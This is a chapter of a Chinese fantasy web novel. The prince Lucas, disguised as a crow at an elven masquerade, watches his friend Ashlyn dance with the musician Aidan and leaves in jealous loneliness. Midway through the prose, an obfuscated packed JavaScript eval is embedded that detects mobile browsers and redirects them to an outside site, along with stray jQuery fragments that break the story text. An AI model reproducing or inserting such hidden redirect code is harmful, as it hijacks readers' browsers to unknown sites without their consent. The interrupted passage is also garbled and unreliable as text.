第二天晚上，阴云笼罩，伊洛文亚全然不见星辰与月亮，夜色黑压得像黑墨笔漏的水，就差挤出几滴黑墨下来。


    卢卡斯没有扮成黑猫。


    就像阿什琳说的，假面舞会的乐趣就在于“假面”，他要是黑猫的话反而是做了自己。


    他戴着据说是由精灵谷最厉害的画师劳瑞尔设计的乌鸦面具，比这夜空更加漆黑，头顶插了几根假羽毛，眼下绘制着精美的银色螺纹。


    面具有魔法加成，在脸上十分服帖，好像与他的皮肤融为一体。


    他的蓝色披风是从艾丹那里借来的，上面绣着银色的鸾尾花，领口镶嵌着蓝宝石。


    相较于艾丹，卢卡斯身材更为苗条，个子也稍矮些，因而那长披风穿在他身上略微显大。


    一些黑色猫毛粘在披风上，抖不掉，他怀疑今后艾丹都不敢再穿这件披风了。


    他轻轻敲了敲阿什琳的门。


    屋内传来一声惊恐的尖叫，好像谁的鸡被拿去杀了。


    “嘿，你还好吗？”


    “当然！你先走吧！”阿什琳在屋里慌乱地喊，“我的顺发咒发生了一点错误！”


    他听到屋里一阵瓶罐掉落的声响，还有几句见不得人的咒骂和慌张的脚步声。


    “需要帮助？”


    “不用！”阿什琳叫道，“我现在已经完全掌控了——”


    接着是一声可怕的爆炸。


    这就是她的“一点错误”吗？？卢卡斯叹了口气。


    “天哪，你这个蠢货。”阿什琳说，大概率是在骂她自己。


    “嗯，我可以等你。”卢卡斯耐心道。


    毕竟他们将是舞会中唯二的人类，一起去是最合理的安排，这样没有谁会感到突兀或尴尬。


    再说，他们昨天一起练习了舞步。


    又是一阵急促的脚步，夹杂着镜子摔在地上的声音。


    “哦不，不用了，我答应了要和——”阿什琳潦草地说，“哎呀，该死——回来，你这该死的头绳！”


    听起来她是去追赶头绳了。


    卢卡斯本想问她答应了什么，但最终只是抿了抿嘴，一甩披风，前往主殿的宴会厅。


    大厅被重新布置过，穹顶在魔法的作用下化作暗蓝的星空，壁画中的颜料隐隐泛亮。


    目之所及的空气中，皆是发光颗粒飞舞，又因没有实体而不会像萤火虫那样恼人。


    精灵们的礼服似乎都是用会流动的布料缝制的，绚烂的颜色在魔法星辰下变幻不断，令他眼花缭乱。


    他们戴着千奇百怪的动物面具说笑走动，所有那些羽毛或绒毛都是设计师专门设计，没有任何精灵会过敏。


    “晚上好呀，小黑鸟。”一个精灵拍了拍他，是一个戴着火烈鸟面具的女精灵，头发像一团火焰在身后展开着，造型夸张的硕大裙子和她的头发一样鲜红，“听说你们打败三头犬夺回了魔笛，恭喜。”


    卢卡斯被这突如其来的识破整得有点沮丧。


    “谢谢您。您怎么知道我是——？”


    火烈鸟大笑。


    “你的面具就是我设计的！作为画家，我会详细关注所有到伊洛文亚的旅客，你走路时的姿态暴露了你。”


    “真是厉害。”


    “有空你给我讲讲详细的故事情节呗？”火烈鸟说，“我得说我真是厌倦了画那几个神的事儿了。啊，没有任何不敬的意思！”


    说完她紧张地看向壁画上的神，好像在等待惩罚。


    “当然可以，不过我现在有点忙。”卢卡斯冲她微笑道，目光却望向别处。阿什琳还没到吗？头绳能跑多远？


    火烈鸟耸耸肩，很快又和别的精灵打招呼去了。


    卢卡斯来到长桌前，桌上摆满精美的银餐具，盛着各式各样的佳肴，每隔几盘就出现一个多层点心盘，冰冻橙子、奶油苹果塔和榛果巧克力争相朝他招手，甚至有他最爱的杏仁布丁。


    它们比狄亚斯的美□□致许多，每一样都是厨师的艺术品，让卢卡斯觉得吃掉它们简直是破坏艺术。


    会飞的酒杯比之前在星月晚会上时有礼貌多了，显然被调整了咒语，十分优雅地悬在他身边，等他拾起。


    卢卡斯毫无胃口，也不怎么渴，只是出于对酒杯的尊重喝了一口。酒杯非常高兴地跳了一段舞，对他鞠躬。他只好又为它鼓了鼓掌。


    舞会上的精灵很多，但没几个注意到他的，全部匆匆经过。


    开始他还试图和一只猫头鹰和一只白狐狸搭话，可他们很快也找好了自己的舞伴，一起饮酒歌唱去了。


    倒是不用像之前在宫廷那样一味迎笑了，卢卡斯苦涩地想，可完全无人陪伴？


    依然无趣。


    所有美食与音乐都与他毫不相干，他不是舞会的嘉宾，只是个旅行者，一个局外人。


    “乌鸦先生。”一个高冷的女声自他身后响起。


    他回头，雪豹面具的长发精灵用深不可测的眼神看着他。


    她的面具挡住的脸不多，他能认出来这是梅莉娅陛下，便微微倾头。


    雪豹将一封印有太阳金纹的信塞进他手中，没多说一句话便藏匿于灵群中。


    这里太嘈杂，他只得按耐住好奇心不去打开看内容。


    守卫将大门关上，雪豹已经登上高台，即将发表致辞，可卢卡斯还是没看到那个熟悉的身影。


    他不禁反思：难道他错了，他们没有他自以为的那么熟，以至于一戴上面具他就彻底认不出阿什琳了吗？


    他一直默认他们会一起参加舞会，从没有考虑过全场都认不出对方的可能性。


    过于自以为是，他心想。


    说到底他们才认识了多久，真的算朋友么？阿什琳或许嘴上说他们可以做朋友，但“朋友”这个词对卢卡斯几近陌生，他所能想到的除了阿什琳以外也就是伊莱恩了。可伊莱恩是他的姐姐，因此也不能算数。


    宫廷里那些同龄孩子自然是算不上的——他们比精灵文的语法还要无聊，礼貌相待已是他最好的态度。


    可阿什琳不一样。


    她在自由自在的环境长大，肯定有数不胜数的朋友。现在他知道她不像别人那般在意身份与等级，这样一来他岂不更一无所有？


    连王子也无足轻重，那么他在她心中其实可能什么也不是，无非是她那讨厌的包袱。她的生活中充满大自然与友谊，他只是她森林中一根微不足道的猫毛，需要被摘掉。


    卢卡斯突然意识到，他从来没有正经邀请过阿什琳。


    她当然有可能早就来到舞厅，和别的精灵一起玩儿。


    精灵们叽叽喳喳，没有谁再理会一只不断寻找他人的乌鸦；乌鸦也没有心情主动邀约别的动物。乱七八糟的八卦冲进他的耳朵。


    “你们知道泽兰暗恋过塔拉吗？”


    “不会吧……”


    “他看着不像，一定是在掩藏悲伤。”


    “还有啊，大乐师艾丹似乎对那个可爱的人类小女巫很有兴趣！”


    “真的吗？他已经多少年没有恋爱过了……”


    卢卡斯手一抖，杯子摔在地上。


    他再次想起记忆共享时，在阿什琳记忆中看到的艾丹：温柔、羞涩、清俊，的的确确像个恋爱中的少年。


    好吧。如果他最爱的偶像和他自认为最好的朋友在一起，对他来说应该是件好事。而且，在记忆中阿什琳明确表达了态度，她并不以浪漫的方式喜欢他。


    不是吗？


    雪豹清了清嗓子，大厅一秒内变得肃静。


    “今天，是个特殊的日子。”她说道，“我们依照传统，汇聚于此，狂欢一夜，庆贺伊洛文亚的生辰，也感激森林女神的恩典。但也不要忘记，我们刚刚失去了一位重要的伙伴。或许她的行径是不正当的，但她的死是光荣的。”


    她停顿片刻，精灵和酒杯们低下头。


    “我们也重获了诺卡利魔笛。”雪豹用更为上扬的语气说，“这要归功于两位亲爱的人类友人，以及我的弟弟——很遗憾，他似乎迟到了，可能是为了保持他的神秘感。”


    精灵们轻笑起来。卢卡斯则有种不祥的预感。


    雪豹冲一侧的乐队点点头。“本来接下来是我与我的弟弟领舞之时，鉴于他此时不在——”


    “他在。”一个动听的声音道。


    所有精灵都回过头，大厅门口，是身着深紫色长袍、戴天鹅面具的男子，面具上的白羽毛与卢卡斯的黑羽如出一辙，不过更具展翅翱翔的姿态。


    卢卡斯呼吸一滞，但不是因为天鹅。


    他身旁，则是一个金色狼面具的女孩，薄荷色的纱裙上星星点点地缀着白蝴蝶，蝴蝶的翅膀真的在一张一合。裙尾染上淡粉色，像花瓣一般。


    这时，有节奏的音乐轻快响起，天鹅长袍上的音符开始发紫光。


    灯冲天鹅与金狼的方向打下，令他们成为全场中心，舞会的第一支舞。


    天鹅摘下面具，露出艾丹的面孔。


    “我想，第一支舞，就明面献给大家。”他轻柔地说，“你怎么想，狼小姐？”


    金狼犹豫了一下，也摘下面具。阿什琳那熟悉的脸立刻露出来。


    但卢卡斯却反应了好一会儿。


    他一阵晕眩，好像又有医生给他放血了似的。


    太阳神在上，他竟到现在才发觉，阿什琳是多么美。


    她看起来完全不像他认识的那个马马虎虎的小女巫了，简直比场上所有女孩都更加耀眼。


    平常他很少考虑“阿什琳是什么样”，因为他们每天都稀里糊涂地相见，要么在龙背上。要么在地牢里，要么在战斗上。


    她给他的印象一直是一个乱七八糟的乡下女巫。


    现在，她的头发不再乱蓬蓬，而是被顺发咒整理成金卷，高雅地盘在头顶，金发中精致地插着珍珠长簪，被金色月桂叶包裹；眼睛比任何绿裙都要绿，绿得夺人心魄。


    卢卡斯感觉自己心跳的旋律被打乱了几下，但随即又恢复正常。


    他真的认识阿什琳吗？


    到底哪个才是真实的她呢？


    忽然间，卢卡斯感到莫大的陌生。


    艾丹不知说了什么，令阿什琳爽朗地笑起来。


    她露出两颗犬齿一样的尖牙，卷曲的金发中淌着星光，淡绿色的纱裙让她完美地融入精灵间。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386138|181872||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    他们绝对是舞会上的最佳舞伴，动作随着节奏的起伏是如此协调，每个精灵都看得入迷。


    银发天鹅和金发小狼，每个步伐底下都能生出新的音符。


    一时间，卢卡斯甚至不知道自己的酸涩是因为谁：他心中地位最高的音乐偶像，正在和他最好的朋友跳舞。


    其他所有人像都仿佛退场，桌子也一干二净，音乐为他们二者独奏。


    显然，这就是阿什琳之前想要告诉他的“答应”。


    她提前答应了艾丹的邀请。


    而他，孤零零站在舞会的角落：一只十足的可怜鸟，一只被抛弃的流浪猫。


    这就是他本该待的地方。


    先前他能获得关注只是因为一顶王冠，现在，他不值得任何舞伴。


    他环顾四周，没有精灵邀请他，大家都找好了自己的小动物。方才同他打招呼的火烈鸟，也在与别的女孩手挽手谈笑风生。


    过去，出于对王子的尊重，人们都抢着和他跳舞，但显然没有精灵对一个幼稚的人类男孩感冒，也没有动物会喜欢一只带来厄运的乌鸦。


    他想起在赫利安时的那些舞会。贵族们对他满脸堆笑，女孩们则在父母的要求下装出喜爱他的模样。


    父王会给他充满暗示的目光，他也随之领起贵族女孩的手，跳起乏味的舞步，和舞蹈老师教的一模一样，每一个步伐都练习过成千上万次，每一个转身都循环过数不胜数回。他迎合着舞伴的动作，思绪却飞翔于千里之外。


    过后，人们会为他们的舞蹈喝彩，他也微笑鞠躬，却不知自己究竟该如何想。


    那时他到底在为谁而舞呢？为那个同样不知所措的贵族女孩，为领主间的结盟，还是为父母的目光？


    一旦离了王子的身份，他什么也不会，什么也不是。


    人们奉承他是因为他是王子，但在这里，他不是了。


    他只是个傻乎乎的他乡异客。


    于是他孤身一人。


    一旦失去这个头衔，他就一无所有。


    卢卡斯本以为见到阿什琳后心情就会好转，可是并没有。


    相反，他的胃里有一股扭曲的沉闷。


    这种未解之谜在自己身上的感觉让他抓狂。


    他拼了命地想找到原因，可原因压根不存在。


    他将那杯酒一饮而尽，酒杯受宠若惊地呆住了。


    随着一个华丽的转身，绿裙子像伞一样撑开又合起。


    乐曲终于结束，迎来大片大片的掌声，舞会这才正式开始。


    卢卡斯则大大松了一口气，希望永远不要有下一支舞曲。


    “狼小姐，玩儿得开心吗？”见她过来，他装出一副漫不经心的样子。


    阿什琳难掩脸上的兴奋。


    “艾丹不仅是最厉害的乐师，还是个出色的舞者！我从没有这样的体验，简直就是魔法。”


    “那真棒。”卢卡斯努力作出很感兴趣的样子，“他不再像之前那么神秘兮兮了，是吗？”


    “实际上，他相当迷人。”阿什琳说，随后又赶紧补上一句，“不过迷不倒我，当然啦。”


    “显然如此。”卢卡斯意识到自己的声音过于冷了，于是赶紧转变话题想热情一点，“那么，您接下来想干什么呢？”


    “那当然是尽情享乐啦，嗯——乌鸦先生？”她眯了眯眼，好像在观察他的眼睛，“啊哈，乌鸦皮里藏了只小猫咪呀。”


    卢卡斯躲闪着她的眼神。


    “天哪，您怎么会有这样的想法？乌鸦就是乌鸦。”


    “乌鸦的礼服上会有猫毛？”


    卢卡斯无言以对。


    阿什琳再次戴上面具。


    “考虑到乌鸦和狼一向是大自然中的合作关系……这只乌鸦会和狼跳舞吗？”


    卢卡斯刚要欣然答应，此时那只阴魂不散的天鹅却凑过来。


    “狼小姐，过不了多久就要治愈神橡树了，”他对狼说，“你准备好了吗？”


    “我想不用这么急，”狼小姐说，“还有几支舞曲的时间呢。”


    天鹅先生递给狼小姐一杯葡萄酒，颜色比其他的更深一点。


    卢卡斯看不出这么做的原因——他们周围明明到处都是悬空的酒杯。


    “那好吧。不过，跳了这么久，你一定也渴了吧？”天鹅举起自己的酒杯，向她示意。


    有那么一瞬间，卢卡斯想打飞阿什琳手中的酒杯，大叫着让她不要喝，可这么做毫无依据。


    狼小姐犹豫了一下，但还是喝掉了那杯酒。


    在那可怕的几秒钟里，卢卡斯担心她会突然倒地，然后发现酒中其实含有毒芹。


    事实证明他想多了；无事发生，酒里什么都没有，天鹅是真担心狼口渴。


    乌鸦盯着狼和天鹅，心中五味杂陈，头脑晕乎乎的，酒精隐秘地开始发挥作用。


    整个世界都无聊透顶，现在他们做的事完全就是浪费时间，他真应该拿上魔笛就跑的。


    “突然想起来有点事，我先告辞了，请替我向梅莉娅转告一声。”


    “什么？可是舞会才刚开始——”


    他已然离去。